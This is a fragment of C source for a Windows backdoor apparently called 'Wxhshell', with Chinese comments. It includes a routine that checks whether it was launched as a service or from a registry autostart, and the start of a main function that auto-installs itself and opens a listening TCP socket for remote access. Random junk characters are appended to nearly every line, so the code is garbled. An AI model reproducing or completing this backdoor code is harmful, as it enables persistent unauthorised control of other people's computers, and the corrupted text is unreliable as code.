ULONG InheritedFromUniqueProcessId; l7P~_X_)"
} PROCESS_BASIC_INFORMATION; fNx3\<~V=
X] &Q^
PROCNTQSIP NtQueryInformationProcess; m>'sM1s
fgP_NYfOj
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <gKT 7ONtg
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b^\u
P
|,Y(YSg.
HANDLE hProcess; ,P<n\(DQ
PROCESS_BASIC_INFORMATION pbi; Kuy,qZv!"
P/?`
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VZ;ASA?;
if(NULL == hInst ) return 0; -[4Xg!apO
R1FBH:Iu
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _{6QvD3kg.
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X/TuiKe
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [(Pm\o
gYx|Na,+
if (!NtQueryInformationProcess) return 0; YzSUJ=0/
8|w_PP1oE
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iP;X8'< BC
if(!hProcess) return 0; 0zaE?dA]
(<pc4#B@*
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =$IjN v(?
40oRO0p
CloseHandle(hProcess); m-UI^M,@<
[dL4u^]{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :0j9
if(hProcess==NULL) return 0; 2*5Z|
3aX
~w'M8(
HMODULE hMod; t+5JIQY>
char procName[255]; `Xnu("w)
unsigned long cbNeeded;
e@6<mir[4
Qj?FUxw
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $z]gy]F
C w`v\
9
CloseHandle(hProcess); E3y"
g&H6~ +\
if(strstr(procName,"services")) return 1; // 以服务启动 ewSFB <
N
T"XP`gk
return 0; // 注册表启动 G_g~-[O
} J
A ]s
#n7uw
// 主模块 ao<@a{G
int StartWxhshell(LPSTR lpCmdLine) BM#cosV7%h
{ "8aw=3A
SOCKET wsl; j9sf~}D>
BOOL val=TRUE; [:
X
int port=0; *BT-@V.4
struct sockaddr_in door; =usx' #rb
2![.Kbqa%
if(wscfg.ws_autoins) Install(); AW4N#gt8',
'c\zWmAZ
port=atoi(lpCmdLine); wGE:U`
Aq}]{gfQ1
if(port<=0) port=wscfg.ws_port; _mKO4Atw
S,EXc^A7
WSADATA data; -82Rz
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zo&'2I
_H|x6X1-
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |<P]yn
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H3}{]&a
door.sin_family = AF_INET; 0x'>}5`5
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?ZDXT2b~~
door.sin_port = htons(port); pm,&